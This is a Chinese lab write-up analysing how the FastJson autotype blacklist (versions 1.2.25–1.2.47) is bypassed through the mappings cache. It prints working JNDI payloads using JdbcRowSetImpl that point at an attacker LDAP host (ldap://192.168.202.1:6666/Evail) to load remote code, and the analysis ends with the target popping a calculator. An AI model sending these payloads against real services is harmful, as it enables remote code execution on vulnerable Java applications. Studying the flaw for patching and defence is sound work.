FastJson之autotype bypass

在1.2.25版本之后,添加了checkAutoType方法。在方法中引入了白名单(AutoType)、黑名单(denyList)和autoTypeSupport选项

checkAutoType方法

把ubuntu靶机的fastjson版本换到1.2.25,使用原始的payload进行debug

{"xxx":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://192.168.202.1:6666/Evail", "autoCommit":true}}

在DefaultJSONParser#parseObject中被添加的checkAutoType()方法

对比下图1.2.24版本的DefaultJSONParser#parseObject方法

autoTypeSupport

autoTypeSupport值:autoTypeSupport值在1.2.25版本开始的默认是为false(fastjson>=1.2.25默认为false)

开启方式:在代码中加入ParserConfig.getGlobalInstance().setAutoTypeSupport(true);

首先跟进checkAutoType()方法,在方法710行中出现了autoTypeSupport


mappings缓存

mappings作用:在fastjson中,mappings作为一个缓存的功能,但是对绕过黑白名单起了一个很关键的作用,能绕过黑白名单的检查

在728行,出现了getClassFromMapping()方法,对typeName进行了解析(typeName就是com.sun.rowset.JdbcRowSetImpl)

跟进getClassFromMapping()方法后发现,这里从mappings中寻找key为com.sun.rowset.JdbcRowSetImpl的元素,并且返回对应的键值。

mappings集合中的数据对整个逻辑起了很重要的作用,下面只展示了部分mappings中的数据

最后会把从mappings中找到的元素进行返回给clazz,由于mappings集合中并没有com.sun.rowset.JdbcRowSetImpl元素,所以返回了null给clazz

继续往下,由于clazz为null,所以if判断为了false,直接走到了else中

这里又进行了一次autoTypeSupport值的判断,前面说了1.2.25开始默认为false,所以if判断为true进入下面的代码

denyList黑名单

denyList黑名单:在fastjson中,用了denyList黑名单来判断是否通过,匹配到黑名单就会直接抛出异常JSONException("autoType is not support. " + typeName)

从743行的for中遍历denyList数组中的元素,用if判断JdbcRowSetImpl是否存在denyList数组中

下面是denyList数组名单,com.sun.rowset.JdbcRowSetImpl被包含在了第3个

循环到第三次的时候,查到JdbcRowSetImpl存在于黑名单,所以抛出了异常

以上就是原始的payload打过去的效果了,可以发现,先是匹配了mappings缓存返回了null值,让if判断进入了else代码中,而else代码中则用denyList黑名单进行匹配抛出了异常,导致了payload失效

AutoType白名单

AutoType白名单:

  • 当autoTypeSupport为true时,先进行白名单过滤,匹配成功即可加载该类并返回;否则进行黑名单过滤,匹配成功直接报错;两者皆未匹配成功,则加载该类
  • 当autoTypeSupport为false时,先进行黑名单过滤,匹配成功直接报错;再匹配白名单,匹配成功即可加载该类并返回;两者皆未匹配成功,则报错

而AutoType白名单默认为null,由用户自己设置

当autoTypeSupport为默认值(false)时候,会先进行 黑名单匹配denyList,匹配不成功则进入白名单匹配

绕过黑名单检查

前面说了,fastjson会从mappings缓存中读取JdbcRowSetImpl然后赋值给clazz。由于缓存中并不存在JdbcRowSetImpl,所以为null,则进入了else逻辑进行黑名单判断

绕过思路为让com.sun.rowset.JdbcRowSetImpl进入一次mapping缓存,第二次再执行checkAutoType方法就会从mapping缓存中取出com.sun.rowset.JdbcRowSetImpl从而绕过黑白名单

以下是绕过补丁的payload:

{"name":{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"},"x":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://192.168.202.1:6666/Evail","autoCommit":true}}

关于com.sun.rowset.JdbcRowSetImpl是怎么加入mapping缓存的可以看看这篇文章,有详细讲到:http://blog.topsec.com.cn/fastjson历史漏洞研究(二)/

发送payload后,查看checkAutoType方法

可以看到,这里clazz已经不为null,直接if判断为了true,从而不进入else语句,直接进行了return,从而绕过了检查

最终弹出计算器

总结:

payload:

{"name":{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"},"x":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://192.168.202.1:6666/Evail","autoCommit":true}}

1.2.25-1.2.32版本:需要未开启AutoTypeSupport。开启了AutoTypeSupport将导致失效

1.2.33-1.2.47版本:无论是否开启AutoTypeSuppt,都能成功利用

原因是1.2.33版本,以下的黑名单过滤判断中,com.sun.rowset.JdbcRowSetImpl存在于mappings缓存中导致了第二个判断条件为false,从而使得黑名单判断语句失效

参考:

https://www.jianshu.com/p/35b84eda9292

http://blog.topsec.com.cn/fastjson历史漏洞研究(二)/

https://blog.csdn.net/qq_34101364/article/details/111706189

FastJson之autotype bypass的更多相关文章

  1. 解决使用Redis时配置 fastjson反序列化报错 com.alibaba.fastjson.JSONException: autoType is not support

    1.问题描述 在使用redis时,配置自定义序列化redisTemplate为FastJsonRedisSerializer .  1 /** 2 * 自定义redis序列化器 3 */ 4 @Sup ...

  2. com.alibaba.fastjson.JSONException: autoType is not support.

    解决办法:https://github.com/alibaba/fastjson/wiki/enable_autotype 文摘如下: 一.添加autotype白名单 添加白名单有三种方式,三选一,如 ...

  3. fastjson序列化和反序列化报com.alibaba.fastjson.JSONException: autoType is not support异常问题,解决方案整合

    1.问题起因 2017年3月15日,fastjson官方发布安全升级公告,该公告介绍fastjson在1.2.24及之前的版本存在代码执行漏洞,当恶意攻击者提交一个精心构造的序列化数据到服务端时,由于 ...

  4. 使用Redis 配置替换fastjson 反序列化报错 com.alibaba.fastjson.JSONException: autoType is not support

    新建的GenericFastJson2JsonRedisSerializer里面添加白名 添加: static {        ParserConfig.getGlobalInstance().ad ...

  5. Jackson替换fastjson

    为什么要替换fastjson 工程里大量使用了fastjson作为序列化和反序列化框架,甚至ORM在处理部分字段也依赖fastjson进行序列化和反序列化.那么作为大量使用的基础框架,为什么还要进行替 ...

  6. Java安全之FastJson JdbcRowSetImpl 链分析

    Java安全之FastJson JdbcRowSetImpl 链分析 0x00 前言 续上文的Fastjson TemplatesImpl链分析,接着来学习JdbcRowSetImpl 利用链,Jdb ...

  7. fastJson序列化

    在pojo实体中有map<String,Object>的属性,有个key是user它存储在数据库中是用户的id数组,而在aop里会对这个属性做用户详细信息查询并重新put给user.在做J ...

  8. SpringCache自定义过期时间及自动刷新

    背景前提 阅读说明(十分重要) 对于Cache和SpringCache原理不太清楚的朋友,可以看我之前写的文章:Springboot中的缓存Cache和CacheManager原理介绍 能关注Spri ...

  9. Spring Cache 抽象(缓存抽象) Redis 缓存

        积少成多 ----  仅以此致敬和我一样在慢慢前进的人儿 相关内容: https://blog.51cto.com/14230003/2369413?source=dra           ...

随机推荐

  1. 题解AGC004C

    题目 . 样例 AGC 好评. 题意:让你在一个 \(H \times W\) 的方格纸上找两个连通块,使得他们的重合部分就是输入中给的部分. 先放个样例. 输入: 5 5 ..... .#.#. . ...

  2. 网安日记④之搭建域环境(domain)并且配置域

    搭建域环境(domain)并且配置域 什么是域 域就是将多台计算机在逻辑上组织到一起,进行集中管理,也就是创建在域控制器上的组,将组的账户信息保存在活动目录中.域组可以用来控制域内任何一台计算机资源的 ...

  3. 【动画消消乐|CSS】083.纯CSS实现卡通齿轮效果

    前言 Hello!小伙伴! 非常感谢您阅读海轰的文章,倘若文中有错误的地方,欢迎您指出-   自我介绍 ଘ(੭ˊᵕˋ)੭ 昵称:海轰 标签:程序猿|C++选手|学生 简介:因C语言结识编程,随后转入计 ...

  4. Vue实现点击按钮进行文件下载(后端Java)

    最近项目中需要实现点击按钮下载文件的需求,前端用的vue,因为文件是各种类型的,比如图片.pdf.word之类的.这里后端是可以返回文件的地址给前端的,但我看了下网上各种五花八门的答案,感觉都不是我想 ...

  5. VueApp 自动更新解决plus is not defined问题

    一,今天用VueApp 做自动更新调用按照网上列子直接 Plus 打包编译后出现了plus is not defined 发现需要引用document.addEventListener("p ...

  6. Java基础技术多线程与并发面试【笔记】

    Java基础技术多线程与并发 什么是线程死锁? ​死锁是指两个或两个以上的进程(线程)在执行过程中,由于竞争资源或者由于彼此通信而造成的一种阻塞的现象,若无外力作用,它们都将无法推进下去,我们就可以称 ...

  7. pikachu Over Permission

    Over Permission 如果使用A用户的权限去操作B用户的数据,A的权限小于B的权限,如果能够成功操作,则称之为越权操作. 越权漏洞形成的原因是后台使用了 不合理的权限校验规则导致的. 一般越 ...

  8. python关于多级包之间的引用问题

    首先得明确包和模块. 包:在一个目录下存在__init__.py,那么该目录就是一个包. 模块:一个.py文件就是一个模块. 我们可以通过from 包 import 模块来引入python文件, 也可 ...

  9. Windows下NodeJS安装与npm环境变量配置

    node.js下载:https://nodejs.org/en/download/ 参考:https://www.jianshu.com/p/812de13f1276 1.安装过程基本直接" ...

  10. Qt 的MDI 多文档窗口

    一.MDI简介 MDI就是多文档界面(Multi-document Interface,MDI)应用程序 MDI就是在主窗口里创建多个同类型的MDI子窗口,这些MDI子窗口在主窗口里显示,并共享主窗口 ...